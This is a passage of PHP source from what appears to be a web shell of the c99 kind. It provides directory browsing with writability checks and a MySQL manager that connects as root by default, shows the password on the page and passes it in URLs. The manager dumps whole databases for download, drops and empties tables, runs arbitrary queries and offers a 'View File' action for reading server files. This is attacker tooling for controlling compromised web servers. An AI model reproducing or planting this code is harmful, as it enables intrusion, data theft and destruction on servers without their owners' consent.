echo "</td><tr><td colspan=2 id=mainmenu>";
if (count($quicklaunch1) > 0) {
foreach($quicklaunch1 as $item) {
$item[1] = str_replace("%d",urlencode($d),$item[1]);
$item[1] = str_replace("%sort",$sort,$item[1]);
$v = realpath($d."..");
if (empty($v)) {
$a = explode(DIRECTORY_SEPARATOR,$d);
unset($a[count($a)-2]);
$v = join(DIRECTORY_SEPARATOR,$a);
}
$item[1] = str_replace("%upd",urlencode($v),$item[1]);
echo "<a href=\"".$item[1]."\">".$item[0]."</a>
";
}
}
echo "</td></tr><tr><td colspan=2>";
echo "<p class=fleft>";
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
$i = 0;
foreach($pd as $b) {
$t = ""; $j = 0;
foreach ($e as $r) {
$t.= $r.DIRECTORY_SEPARATOR;
if ($j == $i) { break; }
$j++;
}
echo "<a href=\"".$surl."x=ls&d=".urlencode($t)."&sort=".$sort."\"><font color=white>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</font></a>";
$i++;
}
echo " - ";
if (is_writable($d)) {
$wd = TRUE;
$wdt = "<font color=#00FF00>[OK]</font>";
echo "<b><font color=green>".view_perms(fileperms($d))."</font>";
}
else {
$wd = FALSE;
$wdt = "<font color=red>[Read-Only]</font>";
echo "<b>".view_perms_color($d)."</b>";
}
?>
</p>
<div class=fright>
<form method="POST"><input type=hidden name=act value="ls">
Directory: <input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go">
</form>
</div>
</td></tr></table>
<?php
echo "<table id=maininfo><tr><td width=\"100%\">
";
if ($x == "") { $x = $dspact = "ls"; }
if ($x == "phpini" ) { get_phpini(); }
if ($x == "sql") {
$sql_surl = $surl."x=sql";
if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
$sql_surl .= "&";
echo "<table>".
"<tr><td width=\"100%\" colspan=2 class=barheader>";
if ($sql_server) {
$sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
$err = mysql_smarterror();
@mysql_select_db($sql_db,$sql_sock);
if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
}
else {$sql_sock = FALSE;}
echo ".: SQL Manager :.<br>";
if (!$sql_sock) {
if (!$sql_server) {echo "NO CONNECTION";}
else {echo "Can't connect! ".$err;}
}
else {
$sqlquicklaunch = array();
$sqlquicklaunch[] = array("Index",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
$sqlquicklaunch[] = array("Query",$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl));
$sqlquicklaunch[] = array("Server-status",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=serverstatus");
$sqlquicklaunch[] = array("Server variables",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=servervars");
$sqlquicklaunch[] = array("Processes",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=processes");
$sqlquicklaunch[] = array("Logout",$surl."x=sql");
echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";
if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
}
echo "</td></tr><tr>";
if (!$sql_sock) {
echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">";
echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"x\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>";
}
else {
if (!empty($sql_db)) {
?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade>
<?php
$result = mysql_list_tables($sql_db);
if (!$result) {echo mysql_smarterror();}
else {
echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
$c = 0;
while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+ <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
if (!$c) {echo "No tables found in database.";}
}
}
else {
?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade>
<?php
$result = mysql_list_dbs($sql_sock);
if (!$result) {echo mysql_smarterror();}
else {
?><form action="<?php echo $surl; ?>"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db">
<?php
$c = 0;
$dbs = "";
while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
echo "<option value=\"\">Databases (".$c.")</option>";
echo $dbs;
}
?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form>
<?php
}
echo "</td><td width=\"100%\">";
$diplay = TRUE;
if ($sql_db) {
if (!is_numeric($c)) {$c = 0;}
if ($c == 0) {$c = "no";}
echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
echo "</b></center>";
$acts = array("","dump");
if ($sql_x == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
elseif ($sql_x == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."`
";} $sql_x = "query";}
elseif ($sql_x == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_x = "dump";}
elseif ($sql_x == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
elseif ($sql_x == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
elseif ($sql_x == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
elseif ($sql_x == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
elseif ($sql_x == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;
";} $sql_query = substr($sql_query,0,-1);} $sql_x = "query";}
elseif ($sql_tbl_x == "insert") {
if ($sql_tbl_insert_radio == 1) {
$keys = "";
$akeys = array_keys($sql_tbl_insert);
foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
$values = "";
$i = 0;
foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
$sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
$sql_x = "query";
$sql_tbl_x = "browse";
}
elseif ($sql_tbl_insert_radio == 2) {
$set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
$sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
$result = mysql_query($sql_query) or print(mysql_smarterror());
$result = mysql_fetch_array($result, MYSQL_ASSOC);
$sql_x = "query";
$sql_tbl_x = "browse";
}
}
if ($sql_x == "query") {
echo "<hr size=\"1\" noshade>";
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;}
if ((!$submit) or ($sql_x)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_x\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
}
if (in_array($sql_x,$acts)) {
?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b>
<form action="<?php echo $surl; ?>">
<input type="hidden" name="x" value="sql">
<input type="hidden" name="sql_x" value="newtbl">
<input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
<input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
<input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
<input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
<input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
<input type="text" name="sql_newtbl" size="20">
<input type="submit" value="Create">
</form></td>
<td width="30%" height="1"><b>Dump DB:</b>
<form action="<?php echo $surl; ?>">
<input type="hidden" name="x" value="sql">
<input type="hidden" name="sql_x" value="dump">
<input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
<input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
<input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
<input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"><input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table>
<?php
if (!empty($sql_x)) {echo "<hr size=\"1\" noshade>";}
if ($sql_x == "newtbl") {
echo "<b>";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
}
else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
}
elseif ($sql_x == "dump") {
if (empty($submit)) {
$diplay = FALSE;
echo "<form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_x\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
$v = join (";",$dmptbls);
echo "<b>Only tables (explode \";\") <b><sup>1</sup></b>:</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
if ($dump_file) {$tmp = $dump_file;}
else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
echo "</form>";
}
else {
$diplay = TRUE;
$set = array();
$set["sock"] = $sql_sock;
$set["db"] = $sql_db;
$dump_out = "download";
$set["print"] = 0;
$set["nl2br"] = 0;
$set[""] = 0;
$set["file"] = $dump_file;
$set["add_drop"] = TRUE;
$set["onlytabs"] = array();
if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
$ret = mysql_dump($set);
if ($sql_dump_download) {
@ob_clean();
header("Content-type: application/octet-stream");
header("Content-length: ".strlen($ret));
header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
echo $ret;
exit;
}
elseif ($sql_dump_savetofile) {
$fp = fopen($sql_dump_file,"w");
if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
else {
fwrite($fp,$ret);
fclose($fp);
echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
}
}
else {echo "<b>Dump: nothing to do!</b>";}
}
}
if ($diplay) {
if (!empty($sql_tbl)) {
if (empty($sql_tbl_x)) {$sql_tbl_x = "browse";}
$count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
$count_row = mysql_fetch_array($count);
mysql_free_result($count);
$tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
$tbl_struct_fields = array();
while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
$perpage = $sql_tbl_le - $sql_tbl_ls;
if (!is_numeric($perpage)) {$perpage = 10;}
$numpages = $count_row[0]/$perpage;
$e = explode(" ",$sql_order);
if (count($e) == 2) {
if ($e[0] == "d") {$asc_desc = "DESC";}
else {$asc_desc = "ASC";}
$v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
}
else {$v = "";}
$query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
$result = mysql_query($query) or print(mysql_smarterror());
echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=structure\">[<b> Structure </b>]</a> ";
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=browse\">[<b> Browse </b>]</a> ";
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_x=tbldump&thistbl=1\">[<b> Dump </b>]</a> ";
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=insert\">[ <b>Insert</b> ]</a> ";
if ($sql_tbl_x == "structure") {echo "<br><br><b>Coming sooon!</b>";}
if ($sql_tbl_x == "insert") {
if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
if (!empty($sql_tbl_insert_radio)) { } //Not Ready
else {
echo "<br><br><b>Inserting row into table:</b><br>";
if (!empty($sql_tbl_insert_q)) {
$sql_query = "SELECT * FROM `".$sql_tbl."`";
$sql_query .= " WHERE".$sql_tbl_insert_q;
$sql_query .= " LIMIT 1;";
$result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
$values = mysql_fetch_assoc($result);
mysql_free_result($result);
}
else {$values = array();}
echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
foreach ($tbl_struct_fields as $field) {
$name = $field["Field"];
if (empty($sql_tbl_insert_q)) {$v = "";}
echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
$i++;
}
echo "</table><br>";
echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
}
}
if ($sql_tbl_x == "browse") {
$sql_tbl_ls = abs($sql_tbl_ls);
$sql_tbl_le = abs($sql_tbl_le);
echo "<hr size=\"1\" noshade>";
echo "<img src=\"".$surl."x=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\"> ";
$b = 0;
for($i=0;$i<$numpages;$i++) {
if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
echo $i;
if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
else {echo " ";}
}
if ($i == 0) {echo "empty";}
echo "<form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>";
echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>";
echo "<tr>";
echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
for ($i=0;$i<mysql_num_fields($result);$i++) {
$v = mysql_field_name($result,$i);
if ($e[0] == "a") {$s = "d"; $m = "asc";}
else {$s = "a"; $m = "desc";}
echo "<td>";
if (empty($e[0])) {$e[0] = "a";}
if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."x=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
echo "</td>";
}
echo "<td><font color=\"green\"><b>Action</b></font></td>";
echo "</tr>";
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
echo "<tr>";
$w = "";
$i = 0;
foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
$i = 0;
foreach ($row as $k=>$v)
{
$v = htmlspecialchars($v);
if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
echo "<td>".$v."</td>";
$i++;
}
echo "<td>";
echo "<a href=\"".$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."x=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a> ";
echo "<a href=\"".$sql_surl."sql_tbl_x=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."x=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a> ";
echo "</td>";
echo "</tr>";
}
mysql_free_result($result);
echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."x=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_x\">";
echo "<option value=\"\">With selected:</option>";
echo "<option value=\"deleterow\">Delete</option>";
echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
}
}
else {
$result = mysql_query("SHOW TABLE STATUS", $sql_sock);
if (!$result) {echo mysql_smarterror();}
else
{
echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
$i = 0;
$tsize = $trows = 0;
while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
{
$tsize += $row["Data_length"];
$trows += $row["Rows"];
$size = view_size($row["Data_length"]);
echo "<tr>";
echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
echo "<td> <a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a> </td>";
echo "<td>".$row["Rows"]."</td>";
echo "<td>".$row["Type"]."</td>";
echo "<td>".$row["Create_time"]."</td>";
echo "<td>".$row["Update_time"]."</td>";
echo "<td>".$size."</td>";
echo "<td> <a href=\"".$sql_surl."sql_x=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."x=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_x=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."x=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_tbl_x=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."x=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a> </td>";
echo "</tr>";
$i++;
}
echo "<tr bgcolor=\"000000\">";
echo "<td><center><b>+</b></center></td>";
echo "<td><center><b>".$i." table(s)</b></center></td>";
echo "<td><b>".$trows."</b></td>";
echo "<td>".$row[1]."</td>";
echo "<td>".$row[10]."</td>";
echo "<td>".$row[11]."</td>";
echo "<td><b>".view_size($tsize)."</b></td>";
echo "<td></td>";
echo "</tr>";
echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."x=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_x\">";
echo "<option value=\"\">With selected:</option>";
echo "<option value=\"tbldrop\">Drop</option>";
echo "<option value=\"tblempty\">Empty</option>";
echo "<option value=\"tbldump\">Dump</option>";
echo "<option value=\"tblcheck\">Check table</option>";
echo "<option value=\"tbloptimize\">Optimize table</option>";
echo "<option value=\"tblrepair\">Repair table</option>";
echo "<option value=\"tblanalyze\">Analyze table</option>";
echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
mysql_free_result($result);
}
}
}
}
}
else {
$acts = array("","newdb","serverstatus","servervars","processes","getfile");
if (in_array($sql_x,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_x" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_x" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>"> <input 